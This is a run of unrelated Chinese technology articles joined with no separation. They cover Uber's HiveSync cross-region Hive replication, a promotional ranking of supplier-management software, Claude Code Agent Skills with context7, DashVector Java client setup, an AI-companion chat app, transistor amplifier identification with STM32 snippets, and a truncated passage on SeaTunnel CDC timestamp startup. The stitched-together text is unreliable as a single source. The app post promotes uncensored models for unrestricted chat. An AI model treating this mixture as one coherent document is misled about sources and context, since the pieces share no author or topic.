Uber 构建了HiveSync,这是一个分片式批量复制系统,能够使 Hive 和 HDFS 数据在多个区域之间保持同步,它每天处理数百万个 Hive 事件。HiveSync 确保了跨区域数据的一致性,实现了 Uber 的灾难恢复策略,并消除了由次要区域闲置而导致的低效问题——此前次要区域需承担与主区域一样的硬件成本,而 HiveSync 在维持高可用性的同时彻底解决了这一问题

 

HiveSync 基于开源项目 AirbnbReAir构建并做了一些扩展,包括实现了分片、基于DAG的编排以及控制平面和数据平面的分离。ETL作业现在只在主数据中心执行,而 HiveSync 处理跨区域复制,实现了近乎实时的一致性,保持了灾难应对能力和分析访问权限。分片功能允许将表和分区划分为独立的单元,从而实现并行复制和细粒度容错。

 

HiveSync 将控制平面(负责编排作业和管理关系元数据存储中的状态)与数据平面(执行HDFSHive文件操作)分离。Hive Metastore 事件监听器负责捕获 DDL 和 DML 变更,将它们记录到MySQL中,并触发复制工作流。任务以有限状态机的形式呈现,支持任务重启与健壮的故障恢复机制。

HiveSync 架构:控制平面和数据平面分离(来源:Uber博文

 

HiveSync 有两个主要组件:HiveSync 复制服务和数据修复服务。复制服务使用 Hive Metastore 事件监听器实时捕获表和分区变更,将它们异步记录到 MySQL 中。这些审计条目被转换为异步复制作业,以有限状态机的形式执行,为确保可靠性,状态会被持久化。Uber 使用了混合策略:规模比较小的作业使用RPC以提高效率,而规模比较大的作业则利用YARN上的 DistCp。DAG 管理器强制执行分片级的排序和锁定,而静态和动态分片技术则实现了水平扩展,确保复制过程一致且无冲突。

HiveSync 复制服务(来源:Uber博文

 

数据修复是一个持续检测异常的服务,如缺失的分区或非预期的 HDFS 更新,恢复数据中心 1(DC1)和数据中心 2(DC2)之间的一致性,从而保证数据的正确性。HiveSync 保证了每四小时一次的复制 SLA,99百分位的延迟大约为 20 分钟,并支持一次性复制,用于在切换到增量复制之前,一次性地将历史数据集导入新区域或集群。Uber 的数据修复服务会扫描 DC1 和 DC2,检测异常(如缺失或多余的分区),并修复任何不匹配的情况,从而确保跨区域的一致性,目标是准确性超过 99.99%。

数据修复服务分析和解决数据中心之间的不一致性(来源:Uber博文

 

HiveSync 的规模很大,管理着 80 万个 Hive 表,总计约 300PB 的数据,单表数据量从几 GB 到数十 PB 不等,单表分区数从几百到一百万多不等。每天,HiveSync 处理超过 500 万个 Hive DDL 和 DML 事件,跨区域复制约 8PB 的数据。

 

展望未来,随着批量分析和 ML 管道迁移到谷歌云平台,Uber 计划将 HiveSync 扩展到云端复制场景,进一步利用分片、编排和数据一致性技术来高效地维护其 PB 级数据的完整性。

 

原文链接:

https://www.infoq.com/news/2026/01/uber-hivesync-data-lake/

供应商来对账,数据对不上,耽误好几天;采购价格不透明,成本居高不下;供应商绩效全凭印象,合作质量参差不齐...如果你也正被这些问题困扰,是时候了解一下供应商管理系统了。

今天我们就来一次深度测评,聊聊市面上主流的几款供应商管理解决方案,帮你找到最适合自家业务的那一款。

一、选型要点:好的系统,到底该看什么?

在直接推荐产品前,先明确几个核心选型标准,这是避开坑的关键。

第一,要看它能不能解决你真实的痛点。很多企业痛点很具体:比如采购流程不规范、线上线下数据对不上、供应商质量不稳定、对账周期漫长等。系统功能是否直击这些要害,是首要考量。

第二,灵活性和扩展性至关重要。特别是成长型企业,业务变化快,今天用的功能明天可能就要调整。如果系统僵硬,改个流程都要找原厂花大价钱二开,那用起来会很痛苦。所以,是否支持一定程度的自定义或低代码调整,是个加分项。

第三,性价比和长期投入成本。这不单指软件本身的购买费用,还包括实施费用、每年的维护费、未来需求变化的二次开发成本,甚至数据迁移的成本。一个“买得起但用不起”的系统,不如一开始就放弃。

第四,厂商的服务与可持续性。软件即服务,后续的响应速度、问题解决能力、版本迭代计划,都直接影响你的使用体验。选择有成熟服务团队、产品持续迭代的厂商,更稳妥。

基于以上几点,结合市场主流选择,我筛选出 8款值得深入考察的供应商管理系统,并对其核心特点、适用场景进行分析。

二、测评盘点:8款主流供应商管理系统

1. 支道

https://www.zdsztech.com

核心特点:基于无代码平台构建,高度可定制

如果要用一个词形容支道的供应商管理方案,那就是 “灵活”。它并非一个功能固化的标准产品,而是基于其强大的无代码开发平台,能够快速搭建出贴合企业实际采购业务流程的系统。

从测评角度看,它的优势很明显:可视化搭建,改起来方便

企业的采购审批流程、供应商准入标准、询比价模板,都可以通过拖拉拽的方式配置和修改,业务人员经过培训也能参与调整。这解决了很多企业“需求说不清、软件改不动”的痛点。

具体到SRM功能上,它覆盖了供应商全生命周期管理:供应商电子档案、在线准入申请、询价/招标/比价流程、采购订单协同、送货与验收协同、对账付款、以及供应商绩效评估。

亮点在于流程的在线化和自动化,比如报价自动汇总比价、订单状态自动同步给供应商、绩效数据自动采集计算等。

适合谁用:业务独特、流程经常优化、或者未来可能将SRM与内部CRM、项目管理系统打通的成长型企业。它的无代码特性让长期迭代成本更低。

需要注意:高度灵活也意味着初期需要更多的业务梳理和配置投入,更适合愿意在管理梳理上花时间、追求长期适配性的企业。

2. 用友

核心特点:与ERP、财务系统天然集成,业财一体化能力强

用友作为国内企业管理软件的老牌厂商,其YonSuite中的SRM模块最大优势在于 “集成”。如果你的企业已经在使用或用友的ERP、财务系统,那么选择它的SRM模块,在数据打通上会非常顺畅。

采购订单直接生成应付、入库信息实时同步、成本数据自动归集,真正实现业务流、信息流、资金流合一。

功能层面,它提供标准的供应商管理、寻源管理、采购协同、库存协同等功能。在供应商绩效方面,支持多维度指标(如质量、交期、价格、服务)的量化评估。

适合谁用:尤其是那些已经使用用友体系产品的中大型企业,或者对财务业务一体化要求极高、希望杜绝数据孤岛的企业。

需要注意:作为标准化程度较高的产品,在面对一些非常规的、行业特有的采购流程时,可能需要通过二次开发来实现,成本和周期需提前评估。

3. 金蝶

核心特点:强调供应链协同,尤其在生产制造领域有深度方案

金蝶的云星空SRM,在制造业企业中口碑不错。它的设计思路强调 “供应链协同” ,不止管理供应商,更注重与供应商之间的高效协作。比如,支持供应商门户,让供应商自助查看订单、确认交期、填报送货单;支持与生产计划的联动,实现采购需求的精准触发。

其功能亮点在于对 VMI库存管理、JIT准时化采购、寄售业务 等复杂场景的支持,这些都是制造企业的核心痛点。在供应商风险方面,也提供了诸如资质预警、交期预警等管理功能。

适合谁用:生产制造型企业,特别是对原材料采购协同、精益生产有要求的企业。也适合金蝶ERP的老用户,保障系统连贯性。

需要注意:方案相对偏向中大型制造企业,对于贸易类、项目服务类企业的贴合度可能需要详细验证。

4. SAP

核心特点:全球化、战略寻源、网络化协同

SAP Ariba 是全球领先的采购云平台,它的定位更高,更像一个 “采购网络”。其核心优势在于 全球寻源和战略采购。如果你的企业采购范围遍布全球,需要管理跨国供应商、进行复杂的招标和合同管理,Ariba 提供了强大的支持。它拥有庞大的供应商网络,方便发现新供应商。

功能极其全面,从支出分析、寻源招标、合同管理、到供应商协同、发票与付款,覆盖整个直接和间接采购流程。其数据分析能力强大,能帮助企业深度洞察采购支出,优化采购策略。

适合谁用:大型集团企业、跨国公司,或者采购品类复杂、将采购视为战略职能的企业。预算充足是前提。

需要注意:实施和运维成本非常高,系统复杂,对内部管理规范性和团队能力要求极高。对于中小型企业来说,可能“杀鸡用牛刀”。

5. 甄云

核心特点:产品化程度高,开箱即用,聚焦采购全流程数字化

甄云是国内较早专注于采购数字化SRM的厂商之一。其产品特点是 “全流程、产品化” ,功能模块成熟,设计理念清晰。它围绕企业采购业务,提供从供应商管理、寻源管理、采购协同、到财务协同的完整闭环。用户体验和界面设计比较现代化,易于上手。

在供应商风险管控方面,它整合了外部大数据,可以提供供应商的工商、司法、舆情等多维度风险监控和预警,这是个很实用的亮点。

适合谁用:希望快速部署一套成熟、完整SRM系统的中大型企业,特别是对供应商风险有主动管理需求的企业。它降低了从零自研的风险和成本。

需要注意:作为标准化SaaS产品,在应对极端个性化的业务流程时,灵活性可能不如低代码/无代码平台。

6. 携客云

核心特点:SaaS模式,轻量化,以“协同”为核心,实施快

携客云主打 “轻量化、易实施” 的SaaS SRM。它的核心价值在于快速解决制造企业与供应商之间的 “协同效率” 问题,比如订单确认、交货、对账等高频场景。

它的供应商门户做得很轻便,供应商上手门槛低。通过它,企业可以快速实现采购订单发布、送货预约、质量反馈、对账确认等业务的在线化,显著减少打电话、发邮件的低效沟通。

适合谁用:广大中小制造企业,作为ERP的延伸,首要解决与供应商的日常业务协同问题。需求明确、预算有限、希望快速上线看到效果的企业可以重点关注。

需要注意:在战略寻源、深度供应商绩效分析、复杂业务流程管控等更深层的管理需求上,功能可能不如前面几款全面。

7. 企企通

核心特点:平台化思路,强调连接与生态

企企通的SRM平台同样强调协同,但其特色在于 “平台化” 和 “连接能力” 。它致力于成为连接采购方和供应商的协作平台。除了常规的SRM功能外,它在 非生产性物料采购、电商化采购 方面有特色方案,支持企业搭建内部采购商城。它也具备较强的集成能力,可以与企业内部ERP、OA等系统对接,实现流程和数据贯通。

适合谁用:注重与供应商建立在线化协作生态,特别是间接物料采购(MRO)需求旺盛的大中型企业。也适合希望整合分散采购渠道的企业。

需要注意:平台的综合性强,企业需要明确自身核心需求是“管理”还是“连接协同”,以便判断是否匹配。

8. 浪潮云

核心特点:贴合大型集团管控需求,尤其在高安全要求行业有积累

浪潮的云ERP中包含SRM解决方案,其优势在于服务 大型集团企业、国有企业 的经验。在供应商集中管控、分级管理、采购合规性、审计追溯等方面有较深的设计。对于有严格内控和合规性要求的行业,如国资、军工等,是重点考察对象。

功能上,支持集中采购、分散采购等多种模式,与浪潮的财务、预算系统也能深度集成。

适合谁用:大型集团、国有企业、对采购合规性和集中管控有刚性要求的组织。

需要注意:产品和实施风格相对“稳重”,在用户体验和敏捷性上可能不是其首要追求。

三、总结与建议:如何选择?

看了一圈,你可能更纠结了。别急,最后给你一些落地的建议:

如果业务灵活多变支道这类无代码平台的长远适配性更好。预算不仅要看首次投入,更要评估3-5年的总拥有成本。并且一定要看演示、做试点,功能列表都是美好的,真实体验才能暴露问题。要求厂商用你的真实数据(脱敏后)或模拟场景进行演示。条件允许的话,选择一个非核心采购品类或一个分子公司进行试点,这是最有效的试金石。

供应商管理系统的选型,没有“最好”,只有“最适合”。它不仅是采购工具,更是企业供应链竞争力的数字化体现。

花时间厘清自身需求,结合以上测评信息,相信你能找到最适合自己提升管理效率、降低运营成本的优秀系统。

在上一篇《Claude Code × 智谱 BigModel 实战集成指南》中,我们已经完成了一次完整的项目实战。项目可以正常运行,但在后续代码 Review 时,一个问题逐渐暴露出来:

生成的代码虽然能跑,但大量 API 和用法已经过时,与最新官方文档存在明显偏差。

这在 AI 辅助开发中其实非常常见——模型的训练数据更新速度,往往赶不上框架和 SDK 的迭代速度。

正巧这时,一位朋友向我推荐了 Anthropic 最新发布的 Agent Skills,通过 plugins 的方式,让 Claude 在生成代码时 动态读取最新官方文档和工具能力,从而显著降低“写得像,但跑不通”的概率。

本文就是这次探索的完整记录。


一、Agent Skills 是什么?

官方仓库地址:

https://github.com/anthropics/skills

Agent Skills 可以理解为:

一套可插拔的“能力模块”,用于教会 Claude 如何用正确的方法、最新的工具、可重复的流程 来完成特定任务。

在技术层面上:

  • 每个 Skill 本质上是一个文件夹
  • 内部包含:

    • 指令(instructions)
    • 脚本(scripts)
    • 资源文件(resources)
  • Claude Code 会在运行时动态加载这些 Skills

它能解决什么问题?

Agent Skills 的核心价值在于 “降低幻觉 + 提高一致性”,典型应用场景包括:

  • 按公司/团队的编码规范生成代码
  • 按最新官方文档调用 API(而不是靠模型记忆)
  • 执行固定的工程化流程(初始化项目、生成目录结构、部署脚本等)
  • 自动化个人或组织级任务

简单来说:

Skills 不是让模型更聪明,而是让模型更“守规矩”。

二、在 Claude Code 中安装 Agent Skills

在 Claude Code 命令行中执行:

/plugin marketplace add anthropics/skills

安装完成后,你就已经具备了使用官方 Skills 的能力。

这一步相当于为 Claude Code 打开了“官方增强模式”。

PixPin_2026-01-22_10-07-25.png


三、安装 context7 插件(关键步骤)

接下来是本文的重点:context7

1️⃣ 打开插件管理

在 Claude Code 中输入:

/plugins

然后使用键盘 ➡️ 进入 Discover

2️⃣ 搜索并安装 context7

在搜索框中输入 context7,完成安装。

context7 本质上是一个 MCP(Model Context Protocol)插件,
能让 Claude 直接参考并对齐最新的官方文档内容

PixPin_2026-01-22_10-09-22.png


四、使用 context7 生成项目代码

安装完成后,就可以在 Prompt 中显式声明使用 context7

示例 Prompt

---
name: context7
description: 使用 Context7,基于框架最新的官方文档
---

# context7

## 指南
已使用以下技术栈生成企业级项目:
- 使用 Context7,基于最新的官方文档
- FastAPI 0.128.0,带 Token 认证
  - 使用 sqlite 生成 token
  - 不使用 JWT,仅做 Token 校验
- langchain 1.2.6,使用 create_agent
- langchain-ollama 1.0.1
  - model:qwen3-vl:32b
  - embedding:qwen3-embedding:8b
- langgraph 1.0.6
- Milvus(pymilvus)2.6.6
- langfuse 3.12.0

通过这种方式,你是在明确告诉 Claude

不要靠“印象”写代码,而是以当前官方文档为准

PixPin_2026-01-22_10-29-45.png


五、实际体验与问题分析

真实结论只有一句话:

效果明显提升,但依然不能“一次生成直接可用”。

优点

  • API 使用明显更接近最新文档
  • 过时参数、废弃方法显著减少
  • 工程结构更合理,思路更偏向“真实项目”

仍然存在的问题

  • 复杂技术栈组合(LangChain + LangGraph + Milvus + Langfuse)
  • 仍然需要 多轮调试才能完全跑通
  • 某些边界用法依然存在偏差

我的判断

并不是 context7 不行,而是模型生成速度,依然落后于框架演进速度。

context7 做到的是:

  • 让 Claude 看得到 最新文档
  • 但最终“怎么拼起来”,仍然依赖模型本身的推理与代码能力

六、总结

如果你正在使用 Claude Code 做偏工程化、偏企业级的项目开发,我的建议是:

一定要上 Agent Skills

能用 context7 就用 context7

❌ 不要再完全相信“模型记忆里的 API”

但同时也要有一个清醒认知:

AI 辅助开发 = 更快的起点,而不是免调试的终点。

在当前阶段,最理想的模式依然是:

AI 生成 + 人类 Review + 多轮修正

后续我也会继续记录 Claude Code + MCP + 多模型协作 的实践经验,欢迎关注。

本文介绍如何通过Java SDK新建一个DashVector Client。

说明

通过DashVector Client可连接DashVector服务端,进行Collection相关操作。

前提条件

  • 已创建Cluster
  • 已获得API-KEY
  • 已安装最新版SDK

接口定义

Java示例:

package com.aliyun.dashvector;

// 通过apiKey和endpoint构造
DashVectorClient(String apiKey, String endpoint);

// 通过DashVectorClientConfig构造
DashVectorClient(DashVectorClientConfig config);

使用示例

说明

需要使用您的api-key替换示例中的YOUR_API_KEY、您的Cluster Endpoint替换示例中的YOUR_CLUSTER_ENDPOINT,代码才能正常运行。

Java示例:

import com.aliyun.dashvector.DashVectorClient;
import com.aliyun.dashvector.DashVectorClientConfig;
import com.aliyun.dashvector.common.DashVectorException;

public class Main {
    public static void main(String[] args) throws DashVectorException {
        // 通过apiKey和endpoint构造
        DashVectorClient client = new DashVectorClient("YOUR_API_KEY", "YOUR_CLUSTER_ENDPOINT");
      
        // 通过Builder构造DashVectorClientConfig
        DashVectorClientConfig config = DashVectorClientConfig.builder()
            .apiKey("YOUR_API_KEY")
            .endpoint("YOUR_CLUSTER_ENDPOINT")
            .timeout(10f)
            .build();
        client = new DashVectorClient(config);
    }
}

说明

DashVectorClient初始化期间可能抛出DashVectorException异常,可通过具体异常信息分析初始化失败原因。

大家好,我是 WeAgentChat (唯信) 的开发者。

打开微信,那里是工作群的消息轰炸、亲戚的催婚和半生不熟的社交点赞。
有时候我在想,如果有一个平行的微信,里面所有的“好友”都是 AI ,但他们不仅能陪我聊天,还能像真人一样拥有性格、记得我们的点点滴滴,永远秒回、永远在线、永远站在我这边,那会是什么体验?

于是,我撸出了这个 AI 版微信WeAgentChat (唯信)

👉 Talk is cheap, show me the code: GitHub | 官网 & 预览

🌟 核心定义:你的另外一个微信

WeChat 是给人类朋友的,WeAgentChat 是给 AI 朋友的。

在这个应用里,我不仅刻意复刻了微信经典的 UI 风格和交互习惯(强迫症级别的还原),更试图打破目前 AI 助手“一问一答、用完即走”的工具属性,打造一个有温度的虚拟社交圈

1. 高度人格化的 Agent 矩阵

你可以为每个 AI 好友设定独特的灵魂。他们不是通用的助手,而是拥有特定性格、背景故事甚至怪癖的“数字人类”。

  • 有的可能是你的“毒舌损友”,在你犹豫不决时推你一把;
  • 有的可能是“温和的长辈”,在你压力大时提供情绪价值。

2. 拒绝捏人焦虑:好友库 & 话题寻人

不知道跟谁聊?懒得自己写 Prompt ?

  • 丰富的预设好友库:内置了数十位性格迥异的角色,从二次元老婆到硅谷大佬,一键添加,即刻开聊。
  • 通过话题找名人:这是我最喜欢的功能。想聊“科幻小说”?系统自动为你推荐“刘慈欣”;想聊“烧脑电影”?“诺兰”直接出现在列表里。只需输入感兴趣的话题,系统会通过语义匹配找到最契合的 AI 聊伴。不再尬聊,直奔主题。

3. “双轨”长期记忆:它真的懂你

大多数 AI 聊久了就会“失忆”,这种割裂感非常毁体验。我设计了一套双轨记忆系统:

  • Global Profile:AI 会自动根据聊天内容,实时更新它对你的性格、喜好、现状的认知。
  • Event-Level RAG:每一段深刻的对话都会被蒸馏成“事件卡片”。即使你半年前随口提过一句失眠,今天它可能又会恰到好处地关心你的睡眠质量。

4. 被动会话管理:告别“新建聊天”

我极其讨厌 ChatGPT 那种“手动点 New Chat”的割裂感。
在唯信里,如果你停止聊天超过 30 分钟,系统会自动归档当前会话并提取记忆。下次你再开口时,就像真朋友一样,是一个自然、连贯的新开始。

5. 绝对自由的对话空间 (NSFW Friendly)

我知道很多朋友苦于大厂模型的道德审查。
得益于本地化架构,你可以自由接入无审查模型(如各类 Uncensored 本地模型或 API )。在这里,没有云端审判,你可以聊任何想聊的话题,释放最真实的压力。

🛠️ 硬核技术实现 (V 站惯例)

作为一个本地优先的应用,我选择了最稳健的工具链:

  • Frontend: Vue 3.5 + Vite + Tailwind CSS (UI 高度还原微信风格)。
  • Backend: FastAPI (Python) 异步驱动。
  • Database: SQLite + sqlite-vec (所有的向量存储和关系数据都在本地,隐私第一)。
  • Memory Engine: 嵌入式 Memobase SDK ,处理复杂的事件提取和 RAG 检索。
  • Desktop: Electron 包装,支持一键启动后端服务。

🔒 隐私与安全

这可能是我做这个产品最坚持的一点:所有聊天记录和记忆数据都保存在你本地的 sqilte 数据库中。
你可以连接 OpenAI (兼容) 的 API 。除了 LLM 和向量化的调用,没有任何数据会上传到云端。

💡 开发小花絮:Vibe Coding 时代的产物

说起来,这个项目的诞生还要感谢现在的 AI 编程浪潮。
每天在公司上班,我已经习惯了 Vibe Coding 的节奏:把繁杂的逻辑丢给 AI ,看着它在屏幕上飞速吐代码。
在等待 AI 生成代码的那几十秒、几分钟的“贤者时间”里,我不仅没闲着,反而以此为契机,并行开启了这个 Side Project 。
用 AI 帮我省下的时间,去创造另一个全是 AI 的世界,这大概就是程序员独有的浪漫(摸鱼)吧。

💬 邀请与反馈

目前项目还在活跃开发中,核心的对话流和记忆系统已经跑通。

我想听听大家的看法:

  • 如果拥有这样一个“另外的微信”,你最希望在这里和什么样的 AI 交朋友?
  • 在“人与 AI 深度社交”这个命题下,你最看重的功能是什么?

目前的 UI 预览

主界面

欢迎拍砖,也欢迎给个 Star 鼓励一下社恐开发者的奇思妙想。

大家好,我是良许

在模拟电路设计中,三极管放大电路是最基础也是最重要的电路单元。

无论是在音频放大、信号调理还是在嵌入式系统的模拟前端电路中,我们都会遇到共射、共集、共基这三种基本放大电路。

作为一名嵌入式工程师,虽然我们日常工作更多接触数字电路和软件开发,但在做硬件调试、电路分析时,准确判断这三种放大电路的类型是非常必要的技能。

今天我就来详细讲解如何快速准确地判断这三种基本放大电路。

1. 三种基本放大电路的核心概念

1.1 什么是"共"

在开始判断之前,我们首先要理解"共"这个字的含义。

这里的"共"指的是输入信号和输出信号的公共端,也就是交流接地点。

三极管有三个极:发射极(E)、基极(B)、集电极(C)。哪个极作为输入和输出的公共端,就叫做"共某极"放大电路。

需要注意的是,这里说的"公共端"是针对交流信号而言的,不是直流电源的地。

在实际电路中,某个极可能通过电容接地,对交流信号来说就是接地,但直流上并不接地。

这是初学者最容易混淆的地方。

1.2 三种电路的基本特征

共射放大电路(Common Emitter):发射极作为公共端,信号从基极输入,从集电极输出。这是应用最广泛的放大电路,具有电压放大和电流放大能力。

共集放大电路(Common Collector):集电极作为公共端,信号从基极输入,从发射极输出。这种电路也叫射极跟随器,主要用于阻抗变换和缓冲。

共基放大电路(Common Base):基极作为公共端,信号从发射极输入,从集电极输出。这种电路常用于高频放大和宽带放大。

2. 判断方法详解

2.1 第一步:找出交流接地点

判断放大电路类型的关键是找出哪个极是交流接地的。具体方法如下:

直接接地法:如果某个极通过导线直接连接到地(GND),那么这个极就是交流接地点。这是最简单直接的情况。

电容接地法:如果某个极通过一个较大容量的电容(通常是电解电容,几微法到几百微法)连接到地,由于电容对交流信号相当于短路,所以这个极对交流信号来说也是接地的。这种电容我们称为旁路电容。

电源接地法:对于交流信号来说,电源(VCCVEE)也相当于地。因为电源内阻很小,并且通常会并联大容量的滤波电容。所以如果某个极直接连接到电源,对交流信号来说也是接地的。

举个实际例子,在我之前做的一个音频放大项目中,发射极通过一个 100μF 的电解电容接地,这个电容的作用就是让发射极对音频信号(交流)接地,同时保持直流偏置电压不变。

2.2 第二步:确定信号输入输出端

找到交流接地点后,剩下的两个极中,一个是信号输入端,一个是信号输出端。

输入端的判断:输入端通常会有以下特征:

  • 连接有耦合电容,用于隔直流通交流
  • 可能有分压电阻网络,用于提供直流偏置
  • 在实际电路图中,信号源(如传感器输出、前级电路输出)会连接到这里

输出端的判断:输出端通常会有以下特征:

  • 连接有负载电阻(集电极电阻或发射极电阻)
  • 可能有耦合电容连接到下一级电路
  • 在实际电路图中,会连接到后级电路或负载

2.3 第三步:综合判断电路类型

根据前两步的分析结果,我们可以得出结论:

如果发射极是交流接地点,基极输入、集电极输出,就是共射放大电路

如果集电极是交流接地点,基极输入、发射极输出,就是共集放大电路

如果基极是交流接地点,发射极输入、集电极输出,就是共基放大电路

3. 典型电路分析实例

3.1 共射放大电路实例

让我们看一个典型的共射放大电路:

VCC (+12V)
 |
 |
 Rc (集电极电阻, 2kΩ)
 |
 |----输出(Vout)
 |
 C (集电极)
    /
   /  NPN三极管
  /
 B----Rb2----输入(Vin)
 |
 Rb1
 |
GND
​
发射极 E
 |
 Re (发射极电阻, 1kΩ)
 |
 Ce (旁路电容, 100μF)
 |
GND

在这个电路中:

  • 发射极通过旁路电容 Ce 接地,所以发射极是交流接地点
  • 信号从基极输入(通过 Rb2)
  • 信号从集电极输出(通过 Rc)
  • 因此这是典型的共射放大电路

这种电路的特点是电压放大倍数约为 Av=−(Rc/rbe),其中 rbe 是三极管的输入电阻。负号表示输出信号与输入信号反相。

在实际应用中,我曾经用这种电路做过一个温度传感器的信号放大。

传感器输出的微弱电压信号(几十毫伏)通过共射放大电路放大到几伏,然后送入 STM32 的 ADC 进行采集。

代码示例如下:

// STM32 HAL库ADC采集代码示例
void ReadAmplifiedSignal(void)
{
    uint32_t adcValue;
    float voltage;
    float temperature;
    
    // 启动ADC转换
    HAL_ADC_Start(&hadc1);
    
    // 等待转换完成
    if(HAL_ADC_PollForConversion(&hadc1, 100) == HAL_OK)
    {
        // 读取ADC值
        adcValue = HAL_ADC_GetValue(&hadc1);
        
        // 转换为电压值(假设参考电压3.3V, 12位ADC)
        voltage = (adcValue * 3.3) / 4095.0;
        
        // 根据放大倍数反推原始信号
        // 假设放大倍数为50倍
        float originalVoltage = voltage / 50.0;
        
        // 转换为温度(假设传感器灵敏度10mV/℃)
        temperature = originalVoltage / 0.01;
        
        printf("Temperature: %.2f °C\n", temperature);
    }
    
    HAL_ADC_Stop(&hadc1);
}

3.2 共集放大电路实例

共集放大电路的典型结构如下:

VCC (+12V)
 |
 |----C (集电极,直接接电源)
    /
   /  NPN三极管
  /
 B----Rb----输入(Vin)
 |
 Rb1
 |
GND
​
发射极 E
 |
 |----输出(Vout)
 |
 Re (发射极电阻, 1kΩ)
 |
GND

在这个电路中:

  • 集电极直接连接到 VCC,对交流信号来说相当于接地
  • 信号从基极输入
  • 信号从发射极输出
  • 因此这是共集放大电路

共集放大电路的电压放大倍数接近 1(Av≈1),但电流放大倍数很高(Ai=1+β)。

输出电压跟随输入电压变化,所以也叫射极跟随器。

我在做一个 CAN 总线驱动电路时,就使用了共集放大电路作为缓冲级。

因为前级电路输出阻抗较高,直接驱动 CAN 收发器会导致信号失真,通过射极跟随器进行阻抗变换,可以有效解决这个问题。

// CAN总线发送数据示例
void CAN_SendMessage(uint32_t id, uint8_t *data, uint8_t len)
{
    CAN_TxHeaderTypeDef txHeader;
    uint32_t txMailbox;
    
    // 配置发送帧
    txHeader.StdId = id;
    txHeader.IDE = CAN_ID_STD;
    txHeader.RTR = CAN_RTR_DATA;
    txHeader.DLC = len;
    
    // 发送数据
    // 射极跟随器确保信号完整性
    if(HAL_CAN_AddTxMessage(&hcan1, &txHeader, data, &txMailbox) != HAL_OK)
    {
        Error_Handler();
    }
    
    // 等待发送完成
    while(HAL_CAN_IsTxMessagePending(&hcan1, txMailbox));
}

3.3 共基放大电路实例

共基放大电路的典型结构:

VCC (+12V)
 |
 |
 Rc (集电极电阻, 2kΩ)
 |
 |----输出(Vout)
 |
 C (集电极)
    /
   /  NPN三极管
  /
 B----Rb----Cb(旁路电容)----GND
 |
 Rb1
 |
GND
​
发射极 E
 |
 |----输入(Vin)
 |
 Re (发射极电阻, 1kΩ)
 |
GND

在这个电路中:

  • 基极通过旁路电容 Cb 接地,所以基极是交流接地点
  • 信号从发射极输入
  • 信号从集电极输出
  • 因此这是共基放大电路

共基放大电路的特点是输入阻抗低,输出阻抗高,电压放大倍数较高,而且输入输出同相。

它特别适合用于高频放大,因为没有密勒效应的影响。

在射频电路设计中,共基放大电路应用很广。

我在做一个 433MHz 无线模块的项目时,就使用了共基放大电路作为射频前端的第一级放大。

4. 快速判断技巧总结

4.1 口诀记忆法

为了方便记忆,我总结了一个口诀:

"地在哪,共哪极;入出剩,定类型"

意思是:先找交流地在哪个极,那就是共哪个极;然后在剩下的两个极中确定输入和输出,就能确定电路类型。

4.2 特征对比表

电路类型交流接地极输入极输出极电压放大电流放大输入阻抗输出阻抗相位关系
共射EBC反相
共集CBE≈1同相
共基BEC≈1同相

4.3 实用判断流程

在实际工作中,我总结了一个快速判断流程:

步骤 1:观察三个极的连接情况,找出哪个极通过电容接地或直接接地或接电源。

步骤 2:如果不明显,可以用万用表测量各极对地的交流阻抗,阻抗最小的就是交流接地点。

步骤 3:在电路板上追踪信号走向,看信号从哪里来,到哪里去。

步骤 4:结合电路的功能需求,验证判断结果是否合理。比如需要阻抗变换的地方通常用共集,需要高增益的地方通常用共射。

5. 常见误区和注意事项

5.1 直流地与交流地的混淆

这是最常见的错误。

有些同学看到发射极通过电阻接地,就认为是共射电路,但如果这个电阻没有并联旁路电容,那么对交流信号来说发射极并不是接地的,这时候要重新分析。

例如,如果发射极电阻 Re 没有并联电容,那么这个电阻会引入负反馈,改变电路的性能,但电路类型的判断方法不变,仍然要看交流接地点在哪里。

5.2 PNP 与 NPN 三极管的区别

前面的例子都是用 NPN 三极管,如果是 PNP 三极管,电源极性相反,但判断方法完全一样。

关键还是看哪个极是交流接地点。

5.3 复合电路的判断

在实际电路中,经常会遇到多级放大电路,每一级可能是不同类型的放大电路。

这时候要逐级分析,不能混为一谈。

比如常见的组合是:共射-共集级联,第一级提供电压放大,第二级提供阻抗变换。

6. 工程应用建议

作为嵌入式工程师,虽然我们主要做软件开发,但理解这些基本的模拟电路对我们的工作很有帮助。

在实际项目中:

硬件调试时:当遇到信号异常,我们需要能够快速判断电路类型,分析可能的故障点。比如共射电路输出信号反相,如果发现输出没有反相,可能是电路类型判断错误或者电路有问题。

电路设计时:选择合适的放大电路类型。需要高增益用共射,需要阻抗匹配用共集,需要高频响应用共基。

与硬件工程师沟通时:能够准确理解电路原理图,提出合理的修改建议。我在项目中经常需要和硬件工程师讨论 ADC 前端电路的设计,准确判断放大电路类型是有效沟通的基础。

掌握这三种基本放大电路的判断方法,不仅能帮助我们更好地理解模拟电路,也能提升我们作为嵌入式工程师的综合能力。

希望这篇文章能对大家有所帮助,在实际工作中遇到相关问题时,能够快速准确地做出判断。

在 MySQL CDC 任务中,很多用户都会遇到这样的问题:任务失败后该从哪里恢复?只知道一个时间点,却拿不到对应的 binlog 位点怎么办?Apache SeaTunnel 2.3.12 通过引入按时间启动(Timestamp Startup)功能,给出了更直观的答案。

本文围绕该能力的设计背景、配置方式与实现机制展开解析,帮助读者理解如何基于时间语义更高效地进行 CDC 任务恢复与数据回溯。

功能概述

Problem:CDC 启动点配置“技术正确,但使用困难”

在 Apache SeaTunnel 2.3.12 之前,MySQL CDC 连接器主要支持从指定 binlog 位点(file + position)或 GTID 启动数据同步任务。这种方式在实现上是精确且可靠的,但在真实生产与运维场景中,往往并不符合用户的使用习惯。

在实际 CDC 运维过程中,用户更容易掌握的是 “时间”,而非底层 binlog 细节,例如:

  • 任务异常中断后,希望从
    “2024-04-01 10:00:00” 之后继续同步
  • 对某一时间窗口的数据进行回溯或补采
  • 只知道“昨天 08:00 之后的变更需要重新同步”,但无法定位对应的 binlog 文件和偏移量

如果仍要求用户手动将时间反推为 binlog 位点,不仅配置复杂,而且极易出错,也显著增加了运维成本。这种“技术友好、但用户不友好”的启动方式,已经成为 CDC 任务恢复和回溯场景中的常见痛点。

Solution:引入按时间启动

为解决上述问题,Apache SeaTunnel 在 2.3.12 版本中为 MySQL CDC 连接器引入了按时间启动功能

该功能允许用户直接指定一个 Unix 时间戳(毫秒级) 作为同步起始点。MySQL CDC 连接器会在启动阶段自动完成以下工作:

  1. 根据指定时间戳定位对应的 binlog 文件与偏移量
  2. 从该 binlog 位置开始读取变更事件
  3. 自动跳过所有早于该时间点的历史事件

